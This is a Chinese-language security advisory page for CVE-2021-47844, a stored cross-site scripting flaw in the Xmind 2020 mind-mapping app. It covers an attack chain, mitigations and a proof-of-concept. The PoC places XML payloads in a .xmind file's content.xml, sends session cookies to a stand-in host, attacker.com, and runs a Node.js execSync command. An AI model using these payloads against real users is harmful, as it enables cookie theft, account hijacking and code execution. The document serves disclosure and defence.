IPBUF安全漏洞报告
English
CVE-2021-47844 CVSS 6.1 中危

CVE-2021-47844: Xmind 2020 跨站脚本漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47844
漏洞类型
跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Xmind 2020

相关标签

CVE-2021-47844跨站脚本XSS存储型XSSXmind思维导图远程代码执行JavaScript注入文件解析漏洞中危漏洞

漏洞概述

CVE-2021-47844是Xmind 2020思维导图软件中的一个存储型跨站脚本漏洞。该漏洞允许攻击者通过在思维导图文件或自定义头部中注入恶意JavaScript代码来执行任意脚本。当受害者打开包含恶意payload的文件或与特定功能交互时,攻击者可以窃取用户会话cookie、劫持用户账户、执行未经授权的操作,甚至通过JavaScript执行系统命令实现远程代码执行。此漏洞影响使用Xmind 2020处理不受信任来源文件的所有用户,攻击者可以通过社交工程手段诱导用户打开特制的.xmind文件或访问包含恶意代码的内容。由于该漏洞存在于文件解析和处理过程中,无需复杂的攻击准备即可实现广泛传播。

技术细节

该漏洞存在于Xmind 2020的文件解析模块中,具体位于思维导图文件(.xmind格式)的处理逻辑。当用户导入或打开包含恶意JavaScript代码的.xmind文件时,应用程序未能对文件内容进行充分的输入验证和输出编码。攻击者可以在思维导图节点、自定义主题属性或文件元数据中嵌入<script>标签或事件处理器(如onerror、onload等)。由于.xmind文件本质上是ZIP压缩包格式,内部包含多个XML配置文件,攻击者可以直接修改这些XML文件添加XSS payload。当文件被加载时,嵌入的JavaScript代码会在受害者浏览器上下文中执行。此外,如果应用程序在导出或分享功能中回显这些未经过滤的内容,存储型XSS的影响范围将更加广泛。攻击者利用此漏洞可绕过同源策略限制,访问受害者在该应用程序中的敏感数据。

攻击链分析

STEP 1
步骤1
信息收集:攻击者收集Xmind 2020的文件格式(.xmind)结构和解析机制,分析可注入点
STEP 2
步骤2
制作恶意文件:攻击者创建包含XSS payload的特制.xmind文件,在XML配置文件中嵌入<script>标签或事件处理器
STEP 3
步骤3
传播恶意文件:通过电子邮件、文件共享服务、钓鱼攻击等方式将恶意文件传递给目标用户
STEP 4
步骤4
触发漏洞:受害者打开.xmind文件,Xmind 2020解析文件内容时未进行安全过滤,恶意JavaScript在用户浏览器上下文中执行
STEP 5
步骤5
窃取敏感数据:攻击者通过XSS获取用户会话cookie、劫持账户或执行进一步的攻击操作
STEP 6
步骤6
权限提升:若存在其他漏洞或配置不当,攻击者可能通过JavaScript执行系统命令实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2021-47844 XSS PoC for Xmind 2020 --> <!-- This PoC demonstrates persistent XSS in Xmind .xmind file --> <!-- Method 1: Inject via XML content.xml in .xmind file --> <!-- 1. Create a new .xmind file or unzip existing one --> <!-- 2. Modify the content.xml file with the following payload --> <topic id="topic1"> <title><![CDATA[<script>alert('XSS - CVE-2021-47844')</script>]]></title> <notes> <plain-text><![CDATA[<img src=x onerror="alert(document.cookie)">]]></plain-text> </notes> </topic> <!-- Method 2: Using event handlers --> <topic id="topic2"> <title><![CDATA[<img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)' >]]></title> </topic> <!-- Method 3: Custom header injection --> <topic id="topic3"> <custom-properties> <custom-property key="author"> <script>document.location='https://attacker.com/log?data='+btoa(document.cookie)</script> </custom-property> </custom-properties> </topic> <!-- Steps to exploit: --> <!-- 1. Create malicious .xmind file with payload above --> <!-- 2. Share file with victim via email or file sharing --> <!-- 3. When victim opens file in Xmind 2020, XSS executes --> <!-- 4. Attacker can steal cookies, perform actions as victim --> <!-- For RCE demonstration (if combined with other vulnerabilities): --> <script> // Attempt to execute commands via Node.js integration if available if (typeof require !== 'undefined') { const { execSync } = require('child_process'); execSync('calc.exe'); // Example: spawn calculator on Windows } </script>

影响范围

Xmind 2020 < 版本号(官方修复版本)
Xmind 2020 所有版本均受影响(在官方修复前)

防御指南

临时缓解措施
在官方修复发布前,避免打开来源不明的.xmind文件,特别是通过电子邮件或不明网站下载的文件。对所有导入的思维导图文件进行安全扫描,必要时在隔离环境中打开可疑文件。启用浏览器的跨站脚本防护功能,限制JavaScript执行权限。使用企业安全网关对下载文件进行恶意代码检测。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表